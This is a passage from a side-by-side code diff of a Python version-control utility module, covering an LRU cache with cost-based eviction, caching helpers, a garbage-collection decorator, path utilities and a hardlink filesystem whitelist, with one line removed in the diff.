1403 | def __init__(self, max, maxcost=0): |
|
1403 | def __init__(self, max, maxcost=0): | |
1404 | self._cache = {} |
|
1404 | self._cache = {} | |
1405 |
|
1405 | |||
1406 | self._head = head = _lrucachenode() |
|
1406 | self._head = head = _lrucachenode() | |
1407 | head.prev = head |
|
1407 | head.prev = head | |
1408 | head.next = head |
|
1408 | head.next = head | |
1409 | self._size = 1 |
|
1409 | self._size = 1 | |
1410 | self.capacity = max |
|
1410 | self.capacity = max | |
1411 | self.totalcost = 0 |
|
1411 | self.totalcost = 0 | |
1412 | self.maxcost = maxcost |
|
1412 | self.maxcost = maxcost | |
1413 |
|
1413 | |||
1414 | def __len__(self): |
|
1414 | def __len__(self): | |
1415 | return len(self._cache) |
|
1415 | return len(self._cache) | |
1416 |
|
1416 | |||
1417 | def __contains__(self, k): |
|
1417 | def __contains__(self, k): | |
1418 | return k in self._cache |
|
1418 | return k in self._cache | |
1419 |
|
1419 | |||
1420 | def __iter__(self): |
|
1420 | def __iter__(self): | |
1421 | # We don't have to iterate in cache order, but why not. |
|
1421 | # We don't have to iterate in cache order, but why not. | |
1422 | n = self._head |
|
1422 | n = self._head | |
1423 | for i in range(len(self._cache)): |
|
1423 | for i in range(len(self._cache)): | |
1424 | yield n.key |
|
1424 | yield n.key | |
1425 | n = n.next |
|
1425 | n = n.next | |
1426 |
|
1426 | |||
1427 | def __getitem__(self, k): |
|
1427 | def __getitem__(self, k): | |
1428 | node = self._cache[k] |
|
1428 | node = self._cache[k] | |
1429 | self._movetohead(node) |
|
1429 | self._movetohead(node) | |
1430 | return node.value |
|
1430 | return node.value | |
1431 |
|
1431 | |||
1432 | def insert(self, k, v, cost=0): |
|
1432 | def insert(self, k, v, cost=0): | |
1433 | """Insert a new item in the cache with optional cost value.""" |
|
1433 | """Insert a new item in the cache with optional cost value.""" | |
1434 | node = self._cache.get(k) |
|
1434 | node = self._cache.get(k) | |
1435 | # Replace existing value and mark as newest. |
|
1435 | # Replace existing value and mark as newest. | |
1436 | if node is not None: |
|
1436 | if node is not None: | |
1437 | self.totalcost -= node.cost |
|
1437 | self.totalcost -= node.cost | |
1438 | node.value = v |
|
1438 | node.value = v | |
1439 | node.cost = cost |
|
1439 | node.cost = cost | |
1440 | self.totalcost += cost |
|
1440 | self.totalcost += cost | |
1441 | self._movetohead(node) |
|
1441 | self._movetohead(node) | |
1442 |
|
1442 | |||
1443 | if self.maxcost: |
|
1443 | if self.maxcost: | |
1444 | self._enforcecostlimit() |
|
1444 | self._enforcecostlimit() | |
1445 |
|
1445 | |||
1446 | return |
|
1446 | return | |
1447 |
|
1447 | |||
1448 | if self._size < self.capacity: |
|
1448 | if self._size < self.capacity: | |
1449 | node = self._addcapacity() |
|
1449 | node = self._addcapacity() | |
1450 | else: |
|
1450 | else: | |
1451 | # Grab the last/oldest item. |
|
1451 | # Grab the last/oldest item. | |
1452 | node = self._head.prev |
|
1452 | node = self._head.prev | |
1453 |
|
1453 | |||
1454 | # At capacity. Kill the old entry. |
|
1454 | # At capacity. Kill the old entry. | |
1455 | if node.key is not _notset: |
|
1455 | if node.key is not _notset: | |
1456 | self.totalcost -= node.cost |
|
1456 | self.totalcost -= node.cost | |
1457 | del self._cache[node.key] |
|
1457 | del self._cache[node.key] | |
1458 |
|
1458 | |||
1459 | node.key = k |
|
1459 | node.key = k | |
1460 | node.value = v |
|
1460 | node.value = v | |
1461 | node.cost = cost |
|
1461 | node.cost = cost | |
1462 | self.totalcost += cost |
|
1462 | self.totalcost += cost | |
1463 | self._cache[k] = node |
|
1463 | self._cache[k] = node | |
1464 | # And mark it as newest entry. No need to adjust order since it |
|
1464 | # And mark it as newest entry. No need to adjust order since it | |
1465 | # is already self._head.prev. |
|
1465 | # is already self._head.prev. | |
1466 | self._head = node |
|
1466 | self._head = node | |
1467 |
|
1467 | |||
1468 | if self.maxcost: |
|
1468 | if self.maxcost: | |
1469 | self._enforcecostlimit() |
|
1469 | self._enforcecostlimit() | |
1470 |
|
1470 | |||
1471 | def __setitem__(self, k, v): |
|
1471 | def __setitem__(self, k, v): | |
1472 | self.insert(k, v) |
|
1472 | self.insert(k, v) | |
1473 |
|
1473 | |||
1474 | def __delitem__(self, k): |
|
1474 | def __delitem__(self, k): | |
1475 | self.pop(k) |
|
1475 | self.pop(k) | |
1476 |
|
1476 | |||
1477 | def pop(self, k, default=_notset): |
|
1477 | def pop(self, k, default=_notset): | |
1478 | try: |
|
1478 | try: | |
1479 | node = self._cache.pop(k) |
|
1479 | node = self._cache.pop(k) | |
1480 | except KeyError: |
|
1480 | except KeyError: | |
1481 | if default is _notset: |
|
1481 | if default is _notset: | |
1482 | raise |
|
1482 | raise | |
1483 | return default |
|
1483 | return default | |
1484 | value = node.value |
|
1484 | value = node.value | |
1485 | self.totalcost -= node.cost |
|
1485 | self.totalcost -= node.cost | |
1486 | node.markempty() |
|
1486 | node.markempty() | |
1487 |
|
1487 | |||
1488 | # Temporarily mark as newest item before re-adjusting head to make |
|
1488 | # Temporarily mark as newest item before re-adjusting head to make | |
1489 | # this node the oldest item. |
|
1489 | # this node the oldest item. | |
1490 | self._movetohead(node) |
|
1490 | self._movetohead(node) | |
1491 | self._head = node.next |
|
1491 | self._head = node.next | |
1492 |
|
1492 | |||
1493 | return value |
|
1493 | return value | |
1494 |
|
1494 | |||
1495 | # Additional dict methods. |
|
1495 | # Additional dict methods. | |
1496 |
|
1496 | |||
1497 | def get(self, k, default=None): |
|
1497 | def get(self, k, default=None): | |
1498 | try: |
|
1498 | try: | |
1499 | return self.__getitem__(k) |
|
1499 | return self.__getitem__(k) | |
1500 | except KeyError: |
|
1500 | except KeyError: | |
1501 | return default |
|
1501 | return default | |
1502 |
|
1502 | |||
1503 | def peek(self, k, default=_notset): |
|
1503 | def peek(self, k, default=_notset): | |
1504 | """Get the specified item without moving it to the head |
|
1504 | """Get the specified item without moving it to the head | |
1505 |
|
1505 | |||
1506 | Unlike get(), this doesn't mutate the internal state. But be aware |
|
1506 | Unlike get(), this doesn't mutate the internal state. But be aware | |
1507 | that it doesn't mean peek() is thread safe. |
|
1507 | that it doesn't mean peek() is thread safe. | |
1508 | """ |
|
1508 | """ | |
1509 | try: |
|
1509 | try: | |
1510 | node = self._cache[k] |
|
1510 | node = self._cache[k] | |
1511 | return node.value |
|
1511 | return node.value | |
1512 | except KeyError: |
|
1512 | except KeyError: | |
1513 | if default is _notset: |
|
1513 | if default is _notset: | |
1514 | raise |
|
1514 | raise | |
1515 | return default |
|
1515 | return default | |
1516 |
|
1516 | |||
1517 | def clear(self): |
|
1517 | def clear(self): | |
1518 | n = self._head |
|
1518 | n = self._head | |
1519 | while n.key is not _notset: |
|
1519 | while n.key is not _notset: | |
1520 | self.totalcost -= n.cost |
|
1520 | self.totalcost -= n.cost | |
1521 | n.markempty() |
|
1521 | n.markempty() | |
1522 | n = n.next |
|
1522 | n = n.next | |
1523 |
|
1523 | |||
1524 | self._cache.clear() |
|
1524 | self._cache.clear() | |
1525 |
|
1525 | |||
1526 | def copy(self, capacity=None, maxcost=0): |
|
1526 | def copy(self, capacity=None, maxcost=0): | |
1527 | """Create a new cache as a copy of the current one. |
|
1527 | """Create a new cache as a copy of the current one. | |
1528 |
|
1528 | |||
1529 | By default, the new cache has the same capacity as the existing one. |
|
1529 | By default, the new cache has the same capacity as the existing one. | |
1530 | But, the cache capacity can be changed as part of performing the |
|
1530 | But, the cache capacity can be changed as part of performing the | |
1531 | copy. |
|
1531 | copy. | |
1532 |
|
1532 | |||
1533 | Items in the copy have an insertion/access order matching this |
|
1533 | Items in the copy have an insertion/access order matching this | |
1534 | instance. |
|
1534 | instance. | |
1535 | """ |
|
1535 | """ | |
1536 |
|
1536 | |||
1537 | capacity = capacity or self.capacity |
|
1537 | capacity = capacity or self.capacity | |
1538 | maxcost = maxcost or self.maxcost |
|
1538 | maxcost = maxcost or self.maxcost | |
1539 | result = lrucachedict(capacity, maxcost=maxcost) |
|
1539 | result = lrucachedict(capacity, maxcost=maxcost) | |
1540 |
|
1540 | |||
1541 | # We copy entries by iterating in oldest-to-newest order so the copy |
|
1541 | # We copy entries by iterating in oldest-to-newest order so the copy | |
1542 | # has the correct ordering. |
|
1542 | # has the correct ordering. | |
1543 |
|
1543 | |||
1544 | # Find the first non-empty entry. |
|
1544 | # Find the first non-empty entry. | |
1545 | n = self._head.prev |
|
1545 | n = self._head.prev | |
1546 | while n.key is _notset and n is not self._head: |
|
1546 | while n.key is _notset and n is not self._head: | |
1547 | n = n.prev |
|
1547 | n = n.prev | |
1548 |
|
1548 | |||
1549 | # We could potentially skip the first N items when decreasing capacity. |
|
1549 | # We could potentially skip the first N items when decreasing capacity. | |
1550 | # But let's keep it simple unless it is a performance problem. |
|
1550 | # But let's keep it simple unless it is a performance problem. | |
1551 | for i in range(len(self._cache)): |
|
1551 | for i in range(len(self._cache)): | |
1552 | result.insert(n.key, n.value, cost=n.cost) |
|
1552 | result.insert(n.key, n.value, cost=n.cost) | |
1553 | n = n.prev |
|
1553 | n = n.prev | |
1554 |
|
1554 | |||
1555 | return result |
|
1555 | return result | |
1556 |
|
1556 | |||
1557 | def popoldest(self): |
|
1557 | def popoldest(self): | |
1558 | """Remove the oldest item from the cache. |
|
1558 | """Remove the oldest item from the cache. | |
1559 |
|
1559 | |||
1560 | Returns the (key, value) describing the removed cache entry. |
|
1560 | Returns the (key, value) describing the removed cache entry. | |
1561 | """ |
|
1561 | """ | |
1562 | if not self._cache: |
|
1562 | if not self._cache: | |
1563 | return |
|
1563 | return | |
1564 |
|
1564 | |||
1565 | # Walk the linked list backwards starting at tail node until we hit |
|
1565 | # Walk the linked list backwards starting at tail node until we hit | |
1566 | # a non-empty node. |
|
1566 | # a non-empty node. | |
1567 | n = self._head.prev |
|
1567 | n = self._head.prev | |
1568 | while n.key is _notset: |
|
1568 | while n.key is _notset: | |
1569 | n = n.prev |
|
1569 | n = n.prev | |
1570 |
|
1570 | |||
1571 | key, value = n.key, n.value |
|
1571 | key, value = n.key, n.value | |
1572 |
|
1572 | |||
1573 | # And remove it from the cache and mark it as empty. |
|
1573 | # And remove it from the cache and mark it as empty. | |
1574 | del self._cache[n.key] |
|
1574 | del self._cache[n.key] | |
1575 | self.totalcost -= n.cost |
|
1575 | self.totalcost -= n.cost | |
1576 | n.markempty() |
|
1576 | n.markempty() | |
1577 |
|
1577 | |||
1578 | return key, value |
|
1578 | return key, value | |
1579 |
|
1579 | |||
1580 | def _movetohead(self, node): |
|
1580 | def _movetohead(self, node): | |
1581 | """Mark a node as the newest, making it the new head. |
|
1581 | """Mark a node as the newest, making it the new head. | |
1582 |
|
1582 | |||
1583 | When a node is accessed, it becomes the freshest entry in the LRU |
|
1583 | When a node is accessed, it becomes the freshest entry in the LRU | |
1584 | list, which is denoted by self._head. |
|
1584 | list, which is denoted by self._head. | |
1585 |
|
1585 | |||
1586 | Visually, let's make ``N`` the new head node (* denotes head): |
|
1586 | Visually, let's make ``N`` the new head node (* denotes head): | |
1587 |
|
1587 | |||
1588 | previous/oldest <-> head <-> next/next newest |
|
1588 | previous/oldest <-> head <-> next/next newest | |
1589 |
|
1589 | |||
1590 | ----<->--- A* ---<->----- |
|
1590 | ----<->--- A* ---<->----- | |
1591 | | | |
|
1591 | | | | |
1592 | E <-> D <-> N <-> C <-> B |
|
1592 | E <-> D <-> N <-> C <-> B | |
1593 |
|
1593 | |||
1594 | To: |
|
1594 | To: | |
1595 |
|
1595 | |||
1596 | ----<->--- N* ---<->----- |
|
1596 | ----<->--- N* ---<->----- | |
1597 | | | |
|
1597 | | | | |
1598 | E <-> D <-> C <-> B <-> A |
|
1598 | E <-> D <-> C <-> B <-> A | |
1599 |
|
1599 | |||
1600 | This requires the following moves: |
|
1600 | This requires the following moves: | |
1601 |
|
1601 | |||
1602 | C.next = D (node.prev.next = node.next) |
|
1602 | C.next = D (node.prev.next = node.next) | |
1603 | D.prev = C (node.next.prev = node.prev) |
|
1603 | D.prev = C (node.next.prev = node.prev) | |
1604 | E.next = N (head.prev.next = node) |
|
1604 | E.next = N (head.prev.next = node) | |
1605 | N.prev = E (node.prev = head.prev) |
|
1605 | N.prev = E (node.prev = head.prev) | |
1606 | N.next = A (node.next = head) |
|
1606 | N.next = A (node.next = head) | |
1607 | A.prev = N (head.prev = node) |
|
1607 | A.prev = N (head.prev = node) | |
1608 | """ |
|
1608 | """ | |
1609 | head = self._head |
|
1609 | head = self._head | |
1610 | # C.next = D |
|
1610 | # C.next = D | |
1611 | node.prev.next = node.next |
|
1611 | node.prev.next = node.next | |
1612 | # D.prev = C |
|
1612 | # D.prev = C | |
1613 | node.next.prev = node.prev |
|
1613 | node.next.prev = node.prev | |
1614 | # N.prev = E |
|
1614 | # N.prev = E | |
1615 | node.prev = head.prev |
|
1615 | node.prev = head.prev | |
1616 | # N.next = A |
|
1616 | # N.next = A | |
1617 | # It is tempting to do just "head" here, however if node is |
|
1617 | # It is tempting to do just "head" here, however if node is | |
1618 | # adjacent to head, this will do bad things. |
|
1618 | # adjacent to head, this will do bad things. | |
1619 | node.next = head.prev.next |
|
1619 | node.next = head.prev.next | |
1620 | # E.next = N |
|
1620 | # E.next = N | |
1621 | node.next.prev = node |
|
1621 | node.next.prev = node | |
1622 | # A.prev = N |
|
1622 | # A.prev = N | |
1623 | node.prev.next = node |
|
1623 | node.prev.next = node | |
1624 |
|
1624 | |||
1625 | self._head = node |
|
1625 | self._head = node | |
1626 |
|
1626 | |||
1627 | def _addcapacity(self): |
|
1627 | def _addcapacity(self): | |
1628 | """Add a node to the circular linked list. |
|
1628 | """Add a node to the circular linked list. | |
1629 |
|
1629 | |||
1630 | The new node is inserted before the head node. |
|
1630 | The new node is inserted before the head node. | |
1631 | """ |
|
1631 | """ | |
1632 | head = self._head |
|
1632 | head = self._head | |
1633 | node = _lrucachenode() |
|
1633 | node = _lrucachenode() | |
1634 | head.prev.next = node |
|
1634 | head.prev.next = node | |
1635 | node.prev = head.prev |
|
1635 | node.prev = head.prev | |
1636 | node.next = head |
|
1636 | node.next = head | |
1637 | head.prev = node |
|
1637 | head.prev = node | |
1638 | self._size += 1 |
|
1638 | self._size += 1 | |
1639 | return node |
|
1639 | return node | |
1640 |
|
1640 | |||
1641 | def _enforcecostlimit(self): |
|
1641 | def _enforcecostlimit(self): | |
1642 | # This should run after an insertion. It should only be called if total |
|
1642 | # This should run after an insertion. It should only be called if total | |
1643 | # cost limits are being enforced. |
|
1643 | # cost limits are being enforced. | |
1644 | # The most recently inserted node is never evicted. |
|
1644 | # The most recently inserted node is never evicted. | |
1645 | if len(self) <= 1 or self.totalcost <= self.maxcost: |
|
1645 | if len(self) <= 1 or self.totalcost <= self.maxcost: | |
1646 | return |
|
1646 | return | |
1647 |
|
1647 | |||
1648 | # This is logically equivalent to calling popoldest() until we |
|
1648 | # This is logically equivalent to calling popoldest() until we | |
1649 | # free up enough cost. We don't do that since popoldest() needs |
|
1649 | # free up enough cost. We don't do that since popoldest() needs | |
1650 | # to walk the linked list and doing this in a loop would be |
|
1650 | # to walk the linked list and doing this in a loop would be | |
1651 | # quadratic. So we find the first non-empty node and then |
|
1651 | # quadratic. So we find the first non-empty node and then | |
1652 | # walk nodes until we free up enough capacity. |
|
1652 | # walk nodes until we free up enough capacity. | |
1653 | # |
|
1653 | # | |
1654 | # If we only removed the minimum number of nodes to free enough |
|
1654 | # If we only removed the minimum number of nodes to free enough | |
1655 | # cost at insert time, chances are high that the next insert would |
|
1655 | # cost at insert time, chances are high that the next insert would | |
1656 | # also require pruning. This would effectively constitute quadratic |
|
1656 | # also require pruning. This would effectively constitute quadratic | |
1657 | # behavior for insert-heavy workloads. To mitigate this, we set a |
|
1657 | # behavior for insert-heavy workloads. To mitigate this, we set a | |
1658 | # target cost that is a percentage of the max cost. This will tend |
|
1658 | # target cost that is a percentage of the max cost. This will tend | |
1659 | # to free more nodes when the high water mark is reached, which |
|
1659 | # to free more nodes when the high water mark is reached, which | |
1660 | # lowers the chances of needing to prune on the subsequent insert. |
|
1660 | # lowers the chances of needing to prune on the subsequent insert. | |
1661 | targetcost = int(self.maxcost * 0.75) |
|
1661 | targetcost = int(self.maxcost * 0.75) | |
1662 |
|
1662 | |||
1663 | n = self._head.prev |
|
1663 | n = self._head.prev | |
1664 | while n.key is _notset: |
|
1664 | while n.key is _notset: | |
1665 | n = n.prev |
|
1665 | n = n.prev | |
1666 |
|
1666 | |||
1667 | while len(self) > 1 and self.totalcost > targetcost: |
|
1667 | while len(self) > 1 and self.totalcost > targetcost: | |
1668 | del self._cache[n.key] |
|
1668 | del self._cache[n.key] | |
1669 | self.totalcost -= n.cost |
|
1669 | self.totalcost -= n.cost | |
1670 | n.markempty() |
|
1670 | n.markempty() | |
1671 | n = n.prev |
|
1671 | n = n.prev | |
1672 |
|
1672 | |||
1673 |
|
1673 | |||
1674 | def lrucachefunc(func): |
|
1674 | def lrucachefunc(func): | |
1675 | '''cache most recent results of function calls''' |
|
1675 | '''cache most recent results of function calls''' | |
1676 | cache = {} |
|
1676 | cache = {} | |
1677 | order = collections.deque() |
|
1677 | order = collections.deque() | |
1678 | if func.__code__.co_argcount == 1: |
|
1678 | if func.__code__.co_argcount == 1: | |
1679 |
|
1679 | |||
1680 | def f(arg): |
|
1680 | def f(arg): | |
1681 | if arg not in cache: |
|
1681 | if arg not in cache: | |
1682 | if len(cache) > 20: |
|
1682 | if len(cache) > 20: | |
1683 | del cache[order.popleft()] |
|
1683 | del cache[order.popleft()] | |
1684 | cache[arg] = func(arg) |
|
1684 | cache[arg] = func(arg) | |
1685 | else: |
|
1685 | else: | |
1686 | order.remove(arg) |
|
1686 | order.remove(arg) | |
1687 | order.append(arg) |
|
1687 | order.append(arg) | |
1688 | return cache[arg] |
|
1688 | return cache[arg] | |
1689 |
|
1689 | |||
1690 | else: |
|
1690 | else: | |
1691 |
|
1691 | |||
1692 | def f(*args): |
|
1692 | def f(*args): | |
1693 | if args not in cache: |
|
1693 | if args not in cache: | |
1694 | if len(cache) > 20: |
|
1694 | if len(cache) > 20: | |
1695 | del cache[order.popleft()] |
|
1695 | del cache[order.popleft()] | |
1696 | cache[args] = func(*args) |
|
1696 | cache[args] = func(*args) | |
1697 | else: |
|
1697 | else: | |
1698 | order.remove(args) |
|
1698 | order.remove(args) | |
1699 | order.append(args) |
|
1699 | order.append(args) | |
1700 | return cache[args] |
|
1700 | return cache[args] | |
1701 |
|
1701 | |||
1702 | return f |
|
1702 | return f | |
1703 |
|
1703 | |||
1704 |
|
1704 | |||
1705 | class propertycache(object): |
|
1705 | class propertycache(object): | |
1706 | def __init__(self, func): |
|
1706 | def __init__(self, func): | |
1707 | self.func = func |
|
1707 | self.func = func | |
1708 | self.name = func.__name__ |
|
1708 | self.name = func.__name__ | |
1709 |
|
1709 | |||
1710 | def __get__(self, obj, type=None): |
|
1710 | def __get__(self, obj, type=None): | |
1711 | result = self.func(obj) |
|
1711 | result = self.func(obj) | |
1712 | self.cachevalue(obj, result) |
|
1712 | self.cachevalue(obj, result) | |
1713 | return result |
|
1713 | return result | |
1714 |
|
1714 | |||
1715 | def cachevalue(self, obj, value): |
|
1715 | def cachevalue(self, obj, value): | |
1716 | # __dict__ assignment required to bypass __setattr__ (eg: repoview) |
|
1716 | # __dict__ assignment required to bypass __setattr__ (eg: repoview) | |
1717 | obj.__dict__[self.name] = value |
|
1717 | obj.__dict__[self.name] = value | |
1718 |
|
1718 | |||
1719 |
|
1719 | |||
1720 | def clearcachedproperty(obj, prop): |
|
1720 | def clearcachedproperty(obj, prop): | |
1721 | '''clear a cached property value, if one has been set''' |
|
1721 | '''clear a cached property value, if one has been set''' | |
1722 | prop = pycompat.sysstr(prop) |
|
1722 | prop = pycompat.sysstr(prop) | |
1723 | if prop in obj.__dict__: |
|
1723 | if prop in obj.__dict__: | |
1724 | del obj.__dict__[prop] |
|
1724 | del obj.__dict__[prop] | |
1725 |
|
1725 | |||
1726 |
|
1726 | |||
1727 | def increasingchunks(source, min=1024, max=65536): |
|
1727 | def increasingchunks(source, min=1024, max=65536): | |
1728 | '''return no less than min bytes per chunk while data remains, |
|
1728 | '''return no less than min bytes per chunk while data remains, | |
1729 | doubling min after each chunk until it reaches max''' |
|
1729 | doubling min after each chunk until it reaches max''' | |
1730 |
|
1730 | |||
1731 | def log2(x): |
|
1731 | def log2(x): | |
1732 | if not x: |
|
1732 | if not x: | |
1733 | return 0 |
|
1733 | return 0 | |
1734 | i = 0 |
|
1734 | i = 0 | |
1735 | while x: |
|
1735 | while x: | |
1736 | x >>= 1 |
|
1736 | x >>= 1 | |
1737 | i += 1 |
|
1737 | i += 1 | |
1738 | return i - 1 |
|
1738 | return i - 1 | |
1739 |
|
1739 | |||
1740 | buf = [] |
|
1740 | buf = [] | |
1741 | blen = 0 |
|
1741 | blen = 0 | |
1742 | for chunk in source: |
|
1742 | for chunk in source: | |
1743 | buf.append(chunk) |
|
1743 | buf.append(chunk) | |
1744 | blen += len(chunk) |
|
1744 | blen += len(chunk) | |
1745 | if blen >= min: |
|
1745 | if blen >= min: | |
1746 | if min < max: |
|
1746 | if min < max: | |
1747 | min = min << 1 |
|
1747 | min = min << 1 | |
1748 | nmin = 1 << log2(blen) |
|
1748 | nmin = 1 << log2(blen) | |
1749 | if nmin > min: |
|
1749 | if nmin > min: | |
1750 | min = nmin |
|
1750 | min = nmin | |
1751 | if min > max: |
|
1751 | if min > max: | |
1752 | min = max |
|
1752 | min = max | |
1753 | yield b''.join(buf) |
|
1753 | yield b''.join(buf) | |
1754 | blen = 0 |
|
1754 | blen = 0 | |
1755 | buf = [] |
|
1755 | buf = [] | |
1756 | if buf: |
|
1756 | if buf: | |
1757 | yield b''.join(buf) |
|
1757 | yield b''.join(buf) | |
1758 |
|
1758 | |||
1759 |
|
1759 | |||
1760 | def always(fn): |
|
1760 | def always(fn): | |
1761 | return True |
|
1761 | return True | |
1762 |
|
1762 | |||
1763 |
|
1763 | |||
1764 | def never(fn): |
|
1764 | def never(fn): | |
1765 | return False |
|
1765 | return False | |
1766 |
|
1766 | |||
1767 |
|
1767 | |||
1768 | def nogc(func): |
|
1768 | def nogc(func): | |
1769 | """disable garbage collector |
|
1769 | """disable garbage collector | |
1770 |
|
1770 | |||
1771 | Python's garbage collector triggers a GC each time a certain number of |
|
1771 | Python's garbage collector triggers a GC each time a certain number of | |
1772 | container objects (the number being defined by gc.get_threshold()) are |
|
1772 | container objects (the number being defined by gc.get_threshold()) are | |
1773 | allocated even when marked not to be tracked by the collector. Tracking has |
|
1773 | allocated even when marked not to be tracked by the collector. Tracking has | |
1774 | no effect on when GCs are triggered, only on what objects the GC looks |
|
1774 | no effect on when GCs are triggered, only on what objects the GC looks | |
1775 | into. As a workaround, disable GC while building complex (huge) |
|
1775 | into. As a workaround, disable GC while building complex (huge) | |
1776 | containers. |
|
1776 | containers. | |
1777 |
|
1777 | |||
1778 | This garbage collector issue have been fixed in 2.7. But it still affect |
|
1778 | This garbage collector issue have been fixed in 2.7. But it still affect | |
1779 | CPython's performance. |
|
1779 | CPython's performance. | |
1780 | """ |
|
1780 | """ | |
1781 |
|
1781 | |||
1782 | def wrapper(*args, **kwargs): |
|
1782 | def wrapper(*args, **kwargs): | |
1783 | gcenabled = gc.isenabled() |
|
1783 | gcenabled = gc.isenabled() | |
1784 | gc.disable() |
|
1784 | gc.disable() | |
1785 | try: |
|
1785 | try: | |
1786 | return func(*args, **kwargs) |
|
1786 | return func(*args, **kwargs) | |
1787 | finally: |
|
1787 | finally: | |
1788 | if gcenabled: |
|
1788 | if gcenabled: | |
1789 | gc.enable() |
|
1789 | gc.enable() | |
1790 |
|
1790 | |||
1791 | return wrapper |
|
1791 | return wrapper | |
1792 |
|
1792 | |||
1793 |
|
1793 | |||
1794 | if pycompat.ispypy: |
|
1794 | if pycompat.ispypy: | |
1795 | # PyPy runs slower with gc disabled |
|
1795 | # PyPy runs slower with gc disabled | |
1796 | nogc = lambda x: x |
|
1796 | nogc = lambda x: x | |
1797 |
|
1797 | |||
1798 |
|
1798 | |||
1799 | def pathto(root, n1, n2): |
|
1799 | def pathto(root, n1, n2): | |
1800 | '''return the relative path from one place to another. |
|
1800 | '''return the relative path from one place to another. | |
1801 | root should use os.sep to separate directories |
|
1801 | root should use os.sep to separate directories | |
1802 | n1 should use os.sep to separate directories |
|
1802 | n1 should use os.sep to separate directories | |
1803 | n2 should use "/" to separate directories |
|
1803 | n2 should use "/" to separate directories | |
1804 | returns an os.sep-separated path. |
|
1804 | returns an os.sep-separated path. | |
1805 |
|
1805 | |||
1806 | If n1 is a relative path, it's assumed it's |
|
1806 | If n1 is a relative path, it's assumed it's | |
1807 | relative to root. |
|
1807 | relative to root. | |
1808 | n2 should always be relative to root. |
|
1808 | n2 should always be relative to root. | |
1809 | ''' |
|
1809 | ''' | |
1810 | if not n1: |
|
1810 | if not n1: | |
1811 | return localpath(n2) |
|
1811 | return localpath(n2) | |
1812 | if os.path.isabs(n1): |
|
1812 | if os.path.isabs(n1): | |
1813 | if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]: |
|
1813 | if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]: | |
1814 | return os.path.join(root, localpath(n2)) |
|
1814 | return os.path.join(root, localpath(n2)) | |
1815 | n2 = b'/'.join((pconvert(root), n2)) |
|
1815 | n2 = b'/'.join((pconvert(root), n2)) | |
1816 | a, b = splitpath(n1), n2.split(b'/') |
|
1816 | a, b = splitpath(n1), n2.split(b'/') | |
1817 | a.reverse() |
|
1817 | a.reverse() | |
1818 | b.reverse() |
|
1818 | b.reverse() | |
1819 | while a and b and a[-1] == b[-1]: |
|
1819 | while a and b and a[-1] == b[-1]: | |
1820 | a.pop() |
|
1820 | a.pop() | |
1821 | b.pop() |
|
1821 | b.pop() | |
1822 | b.reverse() |
|
1822 | b.reverse() | |
1823 | return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.' |
|
1823 | return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.' | |
1824 |
|
1824 | |||
1825 |
|
1825 | |||
1826 | datapath = resourceutil.datapath |
|
1826 | datapath = resourceutil.datapath | |
1827 | i18n.setdatapath(datapath) |
|
|||
1828 |
|
1827 | |||
1829 |
|
1828 | |||
1830 | def checksignature(func): |
|
1829 | def checksignature(func): | |
1831 | '''wrap a function with code to check for calling errors''' |
|
1830 | '''wrap a function with code to check for calling errors''' | |
1832 |
|
1831 | |||
1833 | def check(*args, **kwargs): |
|
1832 | def check(*args, **kwargs): | |
1834 | try: |
|
1833 | try: | |
1835 | return func(*args, **kwargs) |
|
1834 | return func(*args, **kwargs) | |
1836 | except TypeError: |
|
1835 | except TypeError: | |
1837 | if len(traceback.extract_tb(sys.exc_info()[2])) == 1: |
|
1836 | if len(traceback.extract_tb(sys.exc_info()[2])) == 1: | |
1838 | raise error.SignatureError |
|
1837 | raise error.SignatureError | |
1839 | raise |
|
1838 | raise | |
1840 |
|
1839 | |||
1841 | return check |
|
1840 | return check | |
1842 |
|
1841 | |||
1843 |
|
1842 | |||
1844 | # a whilelist of known filesystems where hardlink works reliably |
|
1843 | # a whilelist of known filesystems where hardlink works reliably | |
1845 | _hardlinkfswhitelist = { |
|
1844 | _hardlinkfswhitelist = { | |
1846 | b'apfs', |
|
1845 | b'apfs', | |
1847 | b'btrfs', |
|
1846 | b'btrfs', | |
1848 | b'ext2', |
|
1847 | b'ext2', | |
1849 | b'ext3', |
|
1848 | b'ext3', | |
1850 | b'ext4', |
|
1849 | b'ext4', | |
1851 | b'hfs', |
|
1850 | b'hfs', | |
1852 | b'jfs', |
|
1851 | b'jfs', | |
1853 | b'NTFS', |
|
1852 | b'NTFS', | |
1854 | b'reiserfs', |
|
1853 | b'reiserfs', | |
1855 | b'tmpfs', |
|
1854 | b'tmpfs', | |
1856 | b'ufs', |
|
1855 | b'ufs', | |
1857 | b'xfs', |
|
1856 | b'xfs', | |
1858 | b'zfs', |
|
1857 | b'zfs', | |
1859 | } |
|
1858 | } | |
1860 |
|
1859 | |||
1861 |
|
1860 | |||
1862 | def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False): |
|
1861 | def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False): | |
1863 | '''copy a file, preserving mode and optionally other stat info like |
|
1862 | '''copy a file, preserving mode and optionally other stat info like | |
1864 | atime/mtime |
|
1863 | atime/mtime | |
1865 |
|
1864 | |||
1866 | checkambig argument is used with filestat, and is useful only if |
|
1865 | checkambig argument is used with filestat, and is useful only if | |
1867 | destination file is guarded by any lock (e.g. repo.lock or |
|
1866 | destination file is guarded by any lock (e.g. repo.lock or | |
1868 | repo.wlock). |
|
1867 | repo.wlock). | |
1869 |
|
1868 | |||
1870 | copystat and checkambig should be exclusive. |
|
1869 | copystat and checkambig should be exclusive. | |
1871 | ''' |
|
1870 | ''' | |
1872 | assert not (copystat and checkambig) |
|
1871 | assert not (copystat and checkambig) | |
1873 | oldstat = None |
|
1872 | oldstat = None | |
1874 | if os.path.lexists(dest): |
|
1873 | if os.path.lexists(dest): | |
1875 | if checkambig: |
|
1874 | if checkambig: | |
1876 | oldstat = checkambig and filestat.frompath(dest) |
|
1875 | oldstat = checkambig and filestat.frompath(dest) | |
1877 | unlink(dest) |
|
1876 | unlink(dest) | |
1878 | if hardlink: |
|
1877 | if hardlink: | |
1879 | # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks |
|
1878 | # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks | |
1880 | # unless we are confident that dest is on a whitelisted filesystem. |
|
1879 | # unless we are confident that dest is on a whitelisted filesystem. | |
1881 | try: |
|
1880 | try: | |
1882 | fstype = getfstype(os.path.dirname(dest)) |
|
